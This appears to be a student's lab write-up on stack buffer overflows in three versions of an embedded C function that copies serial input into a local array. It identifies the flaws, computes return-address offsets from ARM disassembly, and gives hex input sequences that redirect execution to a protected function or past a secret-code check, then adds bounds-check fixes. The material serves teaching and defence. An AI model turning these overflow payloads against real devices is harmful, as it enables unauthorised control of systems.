Part 1: Vulnerability Discovery

Question 1-3:

So, all after all, the ideas between the mistakes in all three pieces of code are almost identical: the insecure function take use of the data from serial input (by copying them into a local array) without checking them first and this allows the attackers to overflow the local array and therefore modify the return address of the current function. To be more specific, the vulnerable code fragments in each of these questions are:

Question 1:

```
    memcpy(local_data, data, data_len);
```

where the code copies the serial data into local_data[] without checking whether it is suitable;

Question 2&3:

```
for (i = 0; i < data_len / 2; i++)
    {
        uint8_t index = data[i * 2];
        uint8_t value = data[i * 2 + 1];
        local_data[index] = value;
    }
```

Where the code where the code copies the serial data into local_data[] in a slightly different way. (It now consider data[] as index-value pairs.) But still, it does this without checking whether it is suitable.

*Notice that in question 3 this has been added:

```
    if (secret_code == get_unknown_secret())
    {
        set_led(1);
    }
```

to provide some sort of protection. But the attacker could bypass it by simply modifying the return address stored on the stack to be the address of the call to set_led(1)!

Part 2: Vulnerability Exploitation

So basically we want to overflow local_data[] to modify the return address stored in the stack for each question. First we try to get the (pseudo) index for the return address in local_data[] for each question through inspection of the code:

Question 1:

0x000002E8 B53E   PUSH   {r1-r5,lr}

The local_data[LOCAL_DATA_SIZE] array is created using this instruction: r4,r5, and lr are supposedly pushed onto the stack, while r1-r3 are actually pushed onto the stack as some random data only to create a space of 12 Bytes' size that is sufficient to be used as the space to place local_data[10]. (Why it's r1-r3, or say 3 registers, here? Because each register is 4 Bytes long, and 2*4<10<3*4.) And also the stack pointer will be deducted by (5+1)*4=24 so that it now points to the start of the (copied) value of r1, and will be used as the pointer pointing to the start of local_data[] later. Therefore, the (copied) value of lr (i.e. the return address) is actually stored at local_data[20-23], and we want to modify it to be [F8][04][00][00] (this is the starting address of secure_function() in little-Endian).

So the input serial sequence of bytes to trigger the exploit could be:

*all in hexadecimal

1. [00][00][00][00] [00][00][00][00] [00][00][00][00] [00][00][00][00] [00][00][00][00] [F8][04][00][00] [FF]

2. [00][00][00][00] [00][00][00][00] [00][00][00][00] [00][00][00][00] [42][42][42][42] [F8][04][00][00] [FF]

*We don't really care about the first 20 bytes here…

Question 2&3:

```
0x00000474 B530      PUSH     {r4-r5,lr}
0x00000476 B0BC      SUB      sp,sp,#0xF0
```

This is where local_data[LOCAL_DATA_SIZE] is created. Similar to question 1, we can see that the return address is stored at local_data[248-251]. So we want to modify it to be 0x000002F2 (start of secure_function()) in little-Endian and 0x00000518 (start of call to set_led(1)) in little-Endian for question 2 and 3 respectively.

And since now data[] is considered as index-value pairs, the input serial sequence of bytes to trigger the exploit could be:

*all in hexadecimal

Question 2:

1.[F8][F2] [F9][02] [FA][00] [FB][00] [FF]

2.[F8][F2] [F9][02] [FA][00] [FB][00] [42][73] [FF]

Question 3:

1.[F8][18] [F9][05] [FA][00] [FB][00] [FF]

2.[F8][18] [F9][05] [FA][00] [FB][00] [42][73] [FF]

*248-251 in decimal is F8-FB in hexadecimal

Part 3: Repair

To fix problem, we basically want to check the serial data before really using it to prevent it from maliciously modifying our memory contents. This can be done by the following:

Question 1:

Use this…

(Continued next page)

```c
void insecure_function(uint8_t* data, uint32_t data_len)
{
    /* copy data from the serial port into a local buffer */
    uint8_t local_data[LOCAL_DATA_SIZE];
    if (data_len > LOCAL_DATA_SIZE){
        return; //return directly if there could be an overflow
    }
    memcpy(local_data, data, data_len);

    /* do some insecure action that needs data from the serial port */
}
```

to replace this…

```c
void insecure_function(uint8_t* data, uint32_t data_len)
{
    /* copy data from the serial port into a local buffer */
    uint8_t local_data[LOCAL_DATA_SIZE];
    memcpy(local_data, data, data_len);

    /* do some insecure action that needs data from the serial port */
}
```

Question 2&3:

Use this…

```c
void insecure_function(uint8_t* data, uint32_t data_len)
{
    /* copy data from the serial port into a local buffer */
    uint8_t local_data[LOCAL_DATA_SIZE];
    uint32_t i = 0;

    for (i = 0; i < data_len / 2; i++)
    {
        uint8_t index = data[i * 2];
        if (index >= LOCAL_DATA_SIZE){
            return; //return directly if there could be an access to
inappropriate location
        }
        uint8_t value = data[i * 2 + 1];
        local_data[index] = value;
    }

    /* do some insecure action that needs data from the serial port */
}
```

to replace this…

```
void insecure_function(uint8_t* data, uint32_t data_len)
{
    /* copy data from the serial port into a local buffer */
    uint8_t local_data[LOCAL_DATA_SIZE];
    uint32_t i = 0;

    for (i = 0; i < data_len / 2; i++)
    {
        uint8_t index = data[i * 2];
        uint8_t value = data[i * 2 + 1];
        local_data[index] = value;
    }

    /* do some insecure action that needs data from the serial port */
}
```